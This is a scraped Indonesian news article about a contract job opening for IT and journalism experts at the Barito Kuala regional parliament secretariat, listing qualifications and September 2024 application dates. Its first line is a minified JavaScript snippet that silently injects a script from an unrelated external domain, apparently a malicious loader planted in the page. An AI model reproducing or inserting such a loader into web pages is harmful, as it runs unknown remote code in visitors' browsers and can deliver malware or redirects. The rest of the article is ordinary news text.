(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN- Sekretariat DPRD Kabupaten Barito Kuala (Batola) membuka lowongan untuk tenaga kontrak non-PNS demi mendukung percepatan implementasi e-government di lingkungan pemerintah daerah.
Lowongan ini ditujukan bagi tenaga ahli yang memiliki latar belakang di bidang database, pemrograman, pengelolaan sistem dan jaringan, serta website dan jurnalistik. Nantinya, tenaga yang direkrut akan diharapkan untuk memperkuat sistem informasi yang mendukung layanan digital pemerintah daerah.
Formasi yang dibutuhkan itu adalah satu tenaga ahli di bidang Database, Pemrograman, Pengelola Sistem dan Jaringan serta satu tenaga ahli di bidang Website dan Jurnalistik.
Selain itu pelamar diharapkan memiliki latar belakang pendidikan minimal D3/D4/S1 dalam bidang Teknik Informatika, Sistem Informasi, Manajemen Informatika, Teknik Komputer, Ilmu Komputer, atau Teknik Elektro dari perguruan tinggi terakreditasi.
Diperlukan juga pengalaman kerja di bidang terkait minimal dua tahun dan sertifikasi keahlian, terutama di bidang jaringan, database, pemrograman, dan jurnalistik, akan menjadi nilai tambah.
Menurut ketentuan, pelamar harus berusia maksimal 40 tahun pada 1 Oktober 2024, serta bersedia bekerja penuh waktu di Kota Marabahan, Kabupaten Barito Kuala. Pelamar juga diwajibkan menyerahkan surat pernyataan bermaterai yang menyatakan tidak sedang terikat kontrak dengan instansi lain dan siap untuk tidak pindah atau berhenti sampai masa kontrak berakhir. Untuk memastikan kualifikasi fisik dan mental, pelamar harus melampirkan Surat Keterangan Sehat dan Surat Keterangan Bebas Narkoba dari dokter pemerintah.
Pendaftaran lamaran dibuka mulai 3 hingga 13 September 2024, dengan dua metode yang tersedia, yakni pendaftaran langsung di Kantor Sekretariat DPRD Kabupaten Barito Kuala pada jam kerja, atau melalui email setwanbaritokualakab@gmail.com hingga batas waktu pukul 09.00 WITA pada 13 September 2024.
Lamaran yang dikirim langsung dapat dilakukan mulai pukul 08.00 hingga 16.00 WITA, kecuali pada hari Jumat yang dibatasi hingga pukul 11.00 WITA.
Setelah tahap seleksi administrasi, pengumuman hasil seleksi dapat diakses di Kantor Sekretariat DPRD serta melalui situs resmi https://dprd.baritokualakab.go.id. Pelamar yang lulus seleksi ini diharapkan dapat berperan dalam pengembangan sistem informasi yang akan menunjang pelayanan publik berbasis digital di Kabupaten Barito Kuala. (www.kanalkalimantan.com/rls)
Reporter: rls
Editor: rdy
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.